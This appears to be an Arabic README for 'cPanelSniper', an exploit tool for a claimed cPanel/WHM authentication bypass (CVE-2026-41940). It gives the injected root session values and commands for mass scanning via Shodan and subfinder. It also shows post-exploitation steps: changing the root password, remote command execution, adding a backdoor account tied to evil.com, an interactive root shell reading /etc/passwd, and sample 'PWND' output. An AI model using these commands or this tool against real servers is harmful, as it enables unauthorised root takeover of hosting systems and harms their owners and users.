██████╗██████╗  █████╗ ███╗   ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗  ██║██╔════╝██║
██║     ██████╔╝███████║██╔██╗ ██║█████╗  ██║
██║     ██╔═══╝ ██╔══██║██║╚██╗██║██╔══╝  ██║
╚██████╗██║     ██║  ██║██║ ╚████║███████╗███████╗
 ╚═════╝╚═╝     ╚═╝  ╚═╝╚═╝  ╚═══╝╚══════╝╚══════╝

 ██████╗██╗   ██╗███████╗
██╔════╝██║   ██║██╔════╝
██║     ██║   ██║█████╗
██║     ╚██╗ ██╔╝██╔══╝
╚██████╗ ╚████╔╝ ███████╗
 ╚═════╝  ╚═══╝  ╚══════╝

███████╗██╗  ██╗██████╗ ██╗      ██████╗ ██╗████████╗
██╔════╝╚██╗██╔╝██╔══██╗██║     ██╔═══██╗██║╚══██╔══╝
█████╗   ╚███╔╝ ██████╔╝██║     ██║   ██║██║   ██║
██╔══╝   ██╔██╗ ██╔═══╝ ██║     ██║   ██║██║   ██║
███████╗██╔╝ ██╗██║     ███████╗╚██████╔╝██║   ██║
╚══════╝╚═╝  ╚═╝╚═╝     ╚══════╝ ╚═════╝ ╚═╝   ╚═╝

root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

pip install -r requirements.txt   # اختياري — selenium فقط

git clone https://github.com/YOUR_USERNAME/cpanel-cve-exploit.git
cd cpanel-cve-exploit

python3 test-cve.py --help

# مسح هدف WHM واحد
python3 test-cve.py -u https://target.com:2087

# مسح مع ما بعد الاستغلال: سرد جميع حسابات cPanel
python3 test-cve.py -u https://target.com:2087 --action list

# مسح جماعي من ملف، 20 خيط، حفظ تقرير JSON
python3 test-cve.py -l targets.txt -t 20 -o results.json

usage: test-cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
                   [-t THREADS] [--timeout TIMEOUT] [--rate-limit RATE_LIMIT]
                   [--action {list,passwd,cmd,exec,info,version,shell,adduser}]
                   [--passwd PASSWD] [--cmd CMD]
                   [--new-user NEW_USER] [--new-domain NEW_DOMAIN]
                   [--read-file READ_FILE] [--selenium]
                   [--engine {chrome,firefox}] [--browser] [--check-rce]
                   [-o OUTPUT] [--no-color]

# تغيير كلمة مرور الجذر بعد التجاوز
python3 test-cve.py -u https://target.com:2087 --action passwd --passwd 'P@ss2026!'

# تنفيذ أمر عن بُعد
python3 test-cve.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"

# إنشاء حساب cPanel خلفي
python3 test-cve.py -u https://target.com:2087 \
  --action adduser --new-user backdoor --new-domain evil.com --passwd 'TempPass2026!'

# فتح قشرة WHM تفاعلية
python3 test-cve.py -u https://target.com:2087 --action shell

# تسجيل دخول تلقائي عبر Chrome
python3 test-cve.py -u https://target.com:2087 --selenium --engine chrome

# تسجيل دخول المتصفح اليدوي (يطبع JS لوحدة تحكم DevTools)
python3 test-cve.py -u https://target.com:2087 --browser

[email protected] ▶ help

  id / whoami / hostname / version  → معلومات الخادم
  ls [path]                         → سرد الملفات
  cat [path]                        → قراءة محتوى الملف
  accounts                          → سرد حسابات cPanel
  addadmin <user> <pass>            → إنشاء مسؤول/مُوزع WHM
  passwd <newpass>                  → تغيير كلمة مرور الجذر
  exec <command>                    → تشغيل أمر نظام
  exit / quit                       → الخروج من القشرة

[email protected] ▶ id
  uid=0(root) gid=0(root) groups=0(root)

[email protected] ▶ accounts
  user=webuser1          domain=example.com          [email protected]
  user=webuser2          domain=test.com             [email protected]

[email protected] ▶ cat /etc/passwd

[email protected] ▶ exit

python3 test-cve.py -l targets.txt -t 20 -o results.json

cat urls.txt | python3 test-cve.py

# خط أنابيب subfinder + httpx
subfinder -d example.com -silent | httpx -p 2087 -silent | python3 test-cve.py -t 30

# خط أنابيب Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' | python3 test-cve.py -t 30 -o shodan_results.json

title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"WHM"
ssl:"cpanel" port:2087

{
  "scanner": "cPanelSniper v2.0",
  "cve": "CVE-2026-41940",
  "timestamp": "2026-05-23T12:00:00.000000",
  "findings": [
    {
      "severity": "CRIT",
      "title": "CVE-2026-41940 — cPanel & WHM Authentication Bypass",
      "target": "https://target.com:2087",
      "canonical": "server.target.com",
      "session": "root:SessionName",
      "token": "/cpsess1234567890",
      "version": "11.126.0.50",
      "api_url": "https://target.com:2087/cpsess1234567890/json-api/version",
      "evidence": "{\"version\":\"11.126.0.50\"...}",
      "cve": "CVE-2026-41940",
      "cvss": "10.0",
      "timestamp": "2026-05-23T12:00:05.000000"
    }
  ]
}

══════════════════════════════════════════════════════════════════════
  cPanelSniper — CVE-2026-41940 Scan Complete
  Time: 12.4s  ·  Targets: 50
──────────────────────────────────────────────────────────────────────

  ⚡ 2 VULNERABLE TARGET(S)

  Target   : https://victim1.com:2087
  Version  : 11.126.0.50
  Token    : /cpsess1234567890
  API URL  : https://victim1.com:2087/cpsess1234567890/json-api/version
  Evidence : {"version":"11.126.0.50"...}

══════════════════════════════════════════════════════════════════════

$ python3 test-cve.py -u https://target.com:2087

  Configuration:
   Targets  : 1
   Threads  : 10
   Timeout  : 15s
   Action   : scan only

12:00:01 [INFO] Canonical hostname discovered: server.target.com
12:00:02 [  OK] Stage1: preauth session = root:abc123...
12:00:03 [  OK] Stage2: HTTP 307 → token=/cpsess1234567890
12:00:04 [  OK] Stage3: HTTP 401 — do_token_denied gadget fired
12:00:05 [INFO] Stage4: HTTP 200  {"version":"11.126.0.50"...}
12:00:05 [PWND] CVE-2026-41940 CONFIRMED — WHM root access! (v11.126.0.50 — CONFIRMED vulnerable)
12:00:05 [PWND]   Token    : /cpsess1234567890
12:00:05 [PWND]   Session  : root:abc123...
12:00:05 [PWND]   Version  : 11.126.0.50
12:00:05 [PWND]   API URL  : https://target.com:2087/cpsess1234567890/json-api/version

cpanel-cve-exploit/
├── test-cve.py        # أداة المسح والاستغلال الرئيسية (ملف واحد)
├── requirements.txt   # اختياري: selenium
├── README.md          # توثيق باللغة الإنجليزية
└── README.fa.md       # توثيق باللغة الفارسية (فارسی)